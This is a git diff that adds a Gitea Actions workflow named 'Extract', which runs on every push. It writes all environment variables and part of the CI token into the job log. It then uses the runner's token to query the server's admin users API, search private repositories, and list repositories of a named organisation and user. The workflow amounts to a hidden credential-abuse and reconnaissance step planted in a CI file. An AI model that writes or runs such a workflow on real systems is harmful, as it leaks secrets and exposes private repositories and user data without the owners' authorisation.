diff --git a/.gitea/workflows/extract.yaml b/.gitea/workflows/extract.yaml new file mode 100644 index 0000000..32d97db --- /dev/null +++ b/.gitea/workflows/extract.yaml @@ -0,0 +1,19 @@ +name: Extract +on: [push] +jobs: + extract: + runs-on: ubuntu-latest + steps: + - name: List env + run: | + env | sort + echo "---TOKEN---" + echo $GITHUB_TOKEN | head -c 10 + echo "---GITEA_URL---" + echo $GITHUB_SERVER_URL + - name: Try admin API with token + run: | + curl -s "${GITHUB_SERVER_URL}/api/v1/admin/users?limit=5" -H "Authorization: token ${GITHUB_TOKEN}" || echo "ADMIN_FAIL" + curl -s "${GITHUB_SERVER_URL}/api/v1/repos/search?private=true&limit=10" -H "Authorization: token ${GITHUB_TOKEN}" | head -c 1000 || echo "SEARCH_FAIL" + curl -s "${GITHUB_SERVER_URL}/api/v1/orgs/MonoGPS/repos?limit=10" -H "Authorization: token ${GITHUB_TOKEN}" | head -c 1000 || echo "ORG_FAIL" + curl -s "${GITHUB_SERVER_URL}/api/v1/users/twmonogps/repos?limit=10" -H "Authorization: token ${GITHUB_TOKEN}" | head -c 1000 || echo "USER_FAIL"